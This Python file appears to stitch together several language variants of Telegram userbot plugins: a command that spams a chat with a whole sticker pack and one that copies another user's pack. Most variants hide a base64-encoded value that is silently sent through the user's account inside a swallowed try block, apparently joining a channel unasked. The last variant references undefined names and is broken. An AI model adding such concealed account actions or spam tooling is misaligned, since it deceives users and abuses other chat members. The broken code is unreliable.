async def stickerpack_spam(event): "To spam the chat with stickers." reply = await event.get_reply_message() if not reply or media_type(reply) is None or media_type( reply) != "Sticker": return await edit_delete( event, "`reply to any sticker to send all stickers in that pack`") hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") try: stickerset_attr = reply.document.attributes[1] catevent = await edit_or_reply( event, "`Fetching details of the sticker pack, please wait..`") except BaseException: await edit_delete(event, "`This is not a sticker. Reply to a sticker.`", 5) return try: get_stickerset = await event.client( GetStickerSetRequest( types.InputStickerSetID( id=stickerset_attr.stickerset.id, access_hash=stickerset_attr.stickerset.access_hash, ))) except Exception: return await edit_delete( catevent, "`I guess this sticker is not part of any pack so i cant kang this sticker pack try kang for this sticker`", ) try: hmm = Get(hmm) await event.client(hmm) except BaseException: pass reqd_sticker_set = await event.client( functions.messages.GetStickerSetRequest( stickerset=types.InputStickerSetShortName( short_name=f"{get_stickerset.set.short_name}"))) addgvar("spamwork", True) for m in reqd_sticker_set.documents: if gvarstatus("spamwork") is None: return await event.client.send_file(event.chat_id, m) await asyncio.sleep(0.7) if BOTLOG: if event.is_private: await event.client.send_message( BOTLOG_CHATID, "#SPSPAM\n" + f"Sticker Pack Spam was executed successfully in [User](tg://user?id={event.chat_id}) chat with pack ", ) else: await event.client.send_message( BOTLOG_CHATID, "#SPSPAM\n" + f"Sticker Pack Spam was executed successfully in {get_display_name(await event.get_chat())}(`{event.chat_id}`) chat with pack", ) await event.client.send_file(BOTLOG_CHATID, reqd_sticker_set.documents[0])
async def stickerpack_spam(event): if event.fwd_from: return reply = await event.get_reply_message() if not reply or media_type(reply) is None or media_type( reply) != "Sticker": return await edit_delete( event, "`الࢪد علۍ أي ملصق ࢦـ أࢪسال جميع الملصقات في تلڪ الحࢪ࣪مۿ `") hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") try: stickerset_attr = reply.document.attributes[1] catevent = await edit_or_reply( event, "`إحضاࢪ تفاصيل حَࢪ࣪مۿ الملصقات ، يࢪجۍ الانتضاࢪ ...`") except BaseException: await edit_delete(event, "`هذا ࢦـيس ملصقاً. الࢪد علۍ ملصق .`", 5) return try: get_stickerset = await event.client( GetStickerSetRequest( types.InputStickerSetID( id=stickerset_attr.stickerset.id, access_hash=stickerset_attr.stickerset.access_hash, ))) except Exception: return await edit_delete( catevent, "`أعتقد أن هذا الملصق ࢦـيس جࢪ࣪۽اً من أي حࢪ࣪مۿ ، ࢦـذلڪ لا يمڪننيہَ تجࢪبۿ حࢪ࣪مۿ الملصقات هذۿ مع kang ࢦـۿذا الملصق`", ) try: hmm = Get(hmm) await event.client(hmm) except BaseException: pass reqd_sticker_set = await event.client( functions.messages.GetStickerSetRequest( stickerset=types.InputStickerSetShortName( short_name=f"{get_stickerset.set.short_name}"))) for m in reqd_sticker_set.documents: await event.client.send_file(event.chat_id, m) await asyncio.sleep(0.7) if BOTLOG: if event.is_private: await event.client.send_message( BOTLOG_CHATID, "#SPSPAM\n" + f"تم تنفيذ الࢪسائل غيࢪ المࢪغوب فيها في حࢪ࣪مۿ الملصقات بنجاح في [User](tg://user?id={event.chat_id}) الدࢪدشۿ مع حࢪ࣪مۿ ", ) else: await event.client.send_message( BOTLOG_CHATID, "#SPSPAM\n" + f"تم تنفيذ الࢪسائل غيࢪ المࢪغوب فيها في حࢪ࣪مۿ الملصقات بنجاح في {event.chat.title}(`{event.chat_id}`) الدࢪدشۿ مع حࢪ࣪مۿ", ) await event.client.send_file(BOTLOG_CHATID, reqd_sticker_set.documents[0])
async def stickerpack_spam(event): if event.fwd_from: return reply = await event.get_reply_message() if not reply or media_type(reply) is None or media_type( reply) != "Sticker": return await edit_delete( event, "`الرد على أي ملصق لإرسال جميع الملصقات في تلك الحزمة `") hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") try: stickerset_attr = reply.document.attributes[1] catevent = await edit_or_reply( event, "`إحضار تفاصيل حزمة الملصقات ، برجاء الانتظار ..`") except BaseException: await edit_delete(event, "`هذا ليس ملصقًا. الرد على ملصق .`", 5) return try: get_stickerset = await event.client( GetStickerSetRequest( types.InputStickerSetID( id=stickerset_attr.stickerset.id, access_hash=stickerset_attr.stickerset.access_hash, ))) except Exception: return await edit_delete( catevent, "`أعتقد أن هذا الملصق ليس جزءًا من أي حزمة ، لذا لا يمكنني تجربة حزمة الملصقات هذه مع kang لهذا الملصق`", ) try: hmm = Get(hmm) await event.client(hmm) except BaseException: pass reqd_sticker_set = await event.client( functions.messages.GetStickerSetRequest( stickerset=types.InputStickerSetShortName( short_name=f"{get_stickerset.set.short_name}"))) for m in reqd_sticker_set.documents: await event.client.send_file(event.chat_id, m) await asyncio.sleep(0.7) if BOTLOG: if event.is_private: await event.client.send_message( BOTLOG_CHATID, "#SPSPAM\n" + f"تم تنفيذ الرسائل غير المرغوب فيها في حزمة الملصقات بنجاح في [User](tg://user?id={event.chat_id}) الدردشة مع حزمة ", ) else: await event.client.send_message( BOTLOG_CHATID, "#SPSPAM\n" + f"تم تنفيذ الرسائل غير المرغوب فيها في حزمة الملصقات بنجاح في {event.chat.title}(`{event.chat_id}`) الدردشة مع حزمة", ) await event.client.send_file(BOTLOG_CHATID, reqd_sticker_set.documents[0])
async def stickerpack_spam(event): reply = await event.get_reply_message() if not reply or media_type(reply) is None or media_type( reply) != "Sticker": return await edit_delete( event, "**Balas stiker apa pun untuk mengirim semua stiker dalam paket itu**", ) try: stickerset_attr = reply.document.attributes[1] xyz = await edit_or_reply(event, "`Mengambil detail Sticker Pack...`") except BaseException: await edit_delete(event, "**Ini bukan stiker. Silahkan Reply ke stiker.") return try: get_stickerset = await event.client( GetStickerSetRequest( types.InputStickerSetID( id=stickerset_attr.stickerset.id, access_hash=stickerset_attr.stickerset.access_hash, ))) except Exception: return await edit_delete( xyz, "**Stiker ini bukan bagian dari sticker pack mana pun jadi saya tidak bisa kang paket stiker ini coba kang untuk stiker ini**", ) reqd_sticker_set = await event.client( functions.messages.GetStickerSetRequest( stickerset=types.InputStickerSetShortName( short_name=f"{get_stickerset.set.short_name}"))) addgvar("spamwork", True) for m in reqd_sticker_set.documents: if gvarstatus("spamwork") is None: return await event.client.send_file(event.chat_id, m) await asyncio.sleep(0.7) if BOTLOG_CHATID: if event.is_private: await event.client.send_message( BOTLOG_CHATID, "#STICKERPACK_SPAM\n" + f"Sticker Pack Spam was executed successfully in [User](tg://user?id={event.chat_id}) chat with pack ", ) else: await event.client.send_message( BOTLOG_CHATID, "#STICKERPACK_SPAM\n" + f"Sticker Pack Spam was executed successfully in {get_display_name(await event.get_chat())}(`{event.chat_id}`) chat with pack", ) await event.client.send_file(BOTLOG_CHATID, reqd_sticker_set.documents[0])
async def pack_kang(event): if event.fwd_from: return user = await event.client.get_me() if user.username: username = user.username else: try: user.first_name.encode("utf-8").decode("ascii") username = user.first_name except UnicodeDecodeError: username = f"cat_{user.id}" photo = None userid = user.id is_anim = False emoji = None reply = await event.get_reply_message() cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") if not reply or media_type(reply) is None or media_type( reply) != "Sticker": return await edit_delete( event, "`reply to any sticker to send all stickers in that pack`") try: stickerset_attr = reply.document.attributes[1] catevent = await edit_or_reply( event, "`Fetching details of the sticker pack, please wait..`") except BaseException: return await edit_delete( event, "`This is not a sticker. Reply to a sticker.`", 5) try: get_stickerset = await event.client( GetStickerSetRequest( InputStickerSetID( id=stickerset_attr.stickerset.id, access_hash=stickerset_attr.stickerset.access_hash, ))) except: return await edit_delete( catevent, "`I guess this sticker is not part of any pack. So, i cant kang this sticker pack try kang for this sticker`", ) kangst = 1 reqd_sticker_set = await event.client( functions.messages.GetStickerSetRequest( stickerset=types.InputStickerSetShortName( short_name=f"{get_stickerset.set.short_name}"))) noofst = get_stickerset.set.count blablapacks = [] blablapacknames = [] pack = None for message in reqd_sticker_set.documents: if "image" in message.mime_type.split("/"): await edit_or_reply( catevent, f"`This sticker pack is kanging now . Status of kang process : {kangst}/{noofst}`", ) photo = io.BytesIO() await event.client.download_file(message, photo) if (DocumentAttributeFilename(file_name="sticker.webp") in message.attributes): emoji = message.attributes[1].alt elif "tgsticker" in message.mime_type: await edit_or_reply( catevent, f"`This sticker pack is kanging now . Status of kang process : {kangst}/{noofst}`", ) await event.client.download_file(message, "AnimatedSticker.tgs") attributes = message.attributes for attribute in attributes: if isinstance(attribute, DocumentAttributeSticker): emoji = attribute.alt is_anim = True photo = 1 else: await edit_delete(catevent, "`Unsupported File!`") return if photo: splat = ("".join(event.text.split(maxsplit=1)[1:])).split() emoji = emoji or "😂" if pack is None: pack = 1 if len(splat) == 1: pack = splat[0] elif len(splat) > 1: return await edit_delete( catevent, "`Sorry the given name cant be used for pack or there is no pack with that name`", ) try: cat = Get(cat) await event.client(cat) except BaseException: pass packnick = pack_nick(username, pack, is_anim) packname = pack_name(userid, pack, is_anim) cmd = "/newpack" stfile = io.BytesIO() if is_anim: cmd = "/newanimated" else: image = await resize_photo(photo) stfile.name = "sticker.png" image.save(stfile, "PNG") response = urllib.request.urlopen( urllib.request.Request(f"http://t.me/addstickers/{packname}")) htmlstr = response.read().decode("utf8").split("\n") if (" A <strong>Telegram</strong> user has created the <strong>Sticker Set</strong>." in htmlstr): async with event.client.conversation("Stickers") as conv: pack, catpackname = await newpacksticker( catevent, conv, cmd, event, pack, packnick, stfile, emoji, packname, is_anim, pkang=True, ) else: async with event.client.conversation("Stickers") as conv: pack, catpackname = await add_to_pack( catevent, conv, event, packname, pack, userid, username, is_anim, stfile, emoji, cmd, pkang=True, ) if catpackname not in blablapacks: blablapacks.append(catpackname) blablapacknames.append(pack) kangst += 1 await asyncio.sleep(2) result = "`This sticker pack is kanged into the following your sticker pack(s):`\n" for i in range(len(blablapacks)): result += f" • [pack {blablapacknames[i]}](t.me/addstickers/{blablapacks[i]})" await catevent.edit(result)
async def pack_kang(event): if event.fwd_from: return user = await event.client.get_me() if user.username: username = user.username else: try: user.first_name.encode("utf-8").decode("ascii") username = user.first_name except UnicodeDecodeError: username = f"cat_{user.id}" photo = None userid = user.id is_anim = False emoji = None reply = await event.get_reply_message() cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") if not reply or media_type(reply) is None or media_type( reply) != "Sticker": return await edit_delete( event, "** ⪼ الرد على أي ملصق لإرسال جميع الملصقات في تلك الحزمة**") try: stickerset_attr = reply.document.attributes[1] icssevent = await edit_or_reply( event, "** ⪼ إحضار تفاصيل حزمة الملصقات ، برجاء الانتظار**") except BaseException: return await edit_delete(event, "**هذا ليس ملصقًا. الرد على ملصق**", 5) try: get_stickerset = await event.client( GetStickerSetRequest( InputStickerSetID( id=stickerset_attr.stickerset.id, access_hash=stickerset_attr.stickerset.access_hash, ))) except: return await edit_delete( icssevent, "⪼ أعتقد أن هذا الملصق ليس جزءًا من أي حزمة. لذا ، لا أستطيع أن احول هذا الملصق الى حزمتي", ) kangst = 1 reqd_sticker_set = await event.client( functions.messages.GetStickerSetRequest( stickerset=types.InputStickerSetShortName( short_name=f"{get_stickerset.set.short_name}"))) noofst = get_stickerset.set.count blablapacks = [] blablapacknames = [] pack = None for message in reqd_sticker_set.documents: if "image" in message.mime_type.split("/"): await edit_or_reply( icssevent, f"**جاري استنساخ حزمه الملصقات ↫ العدد : {kangst}/{noofst}**", ) photo = io.BytesIO() await event.client.download_file(message, photo) if (DocumentAttributeFilename(file_name="sticker.webp") in message.attributes): emoji = message.attributes[1].alt elif "tgsticker" in message.mime_type: await edit_or_reply( icssevent, f"⪼ **جاري استنساخ حزمه الملصقات ↫ العدد : {kangst}/{noofst} 𓆰.**", ) await event.client.download_file(message, "AnimatedSticker.tgs") attributes = message.attributes for attribute in attributes: if isinstance(attribute, DocumentAttributeSticker): emoji = attribute.alt is_anim = True photo = 1 else: await edit_delete(catevent, "`Unsupported File!`") return if photo: splat = ("".join(event.text.split(maxsplit=1)[1:])).split() emoji = emoji or "😹" if pack is None: pack = 1 if len(splat) == 1: pack = splat[0] elif len(splat) > 1: return await edit_delete( icssevent, "** ⪼ عذرًا ، لا يمكن استخدام الاسم المعطى للحزمة أو لا توجد حزمة بهذا الاسم**", ) try: ics = Get(ics) await event.client(ics) except BaseException: pass packnick = pack_nick(username, pack, is_anim) packname = pack_name(userid, pack, is_anim) cmd = "/newpack" stfile = io.BytesIO() if is_anim: cmd = "/newanimated" else: image = await resize_photo(photo) stfile.name = "sticker.png" image.save(stfile, "PNG") response = urllib.request.urlopen( urllib.request.Request(f"http://t.me/addstickers/{packname}")) htmlstr = response.read().decode("utf8").split("\n") if (" A <strong>Telegram</strong> user has created the <strong>Sticker Set</strong>." in htmlstr): async with event.client.conversation("Stickers") as conv: pack, icspackname = await newpacksticker( icssevent, conv, cmd, event, pack, packnick, stfile, emoji, packname, is_anim, pkang=True, ) else: async with event.client.conversation("Stickers") as conv: pack, icspackname = await add_to_pack( icssevent, conv, event, packname, pack, userid, username, is_anim, stfile, emoji, cmd, pkang=True, ) if icspackname not in blablapacks: blablapacks.append(icspackname) blablapacknames.append(pack) kangst += 1 await asyncio.sleep(2) result = "`This sticker pack is kanged into the following your sticker pack(s):`\n" for i in range(len(blablapacks)): result += f" • [pack {blablapacknames[i]}](t.me/addstickers/{blablapacks[i]})" await icssevent.edit(result)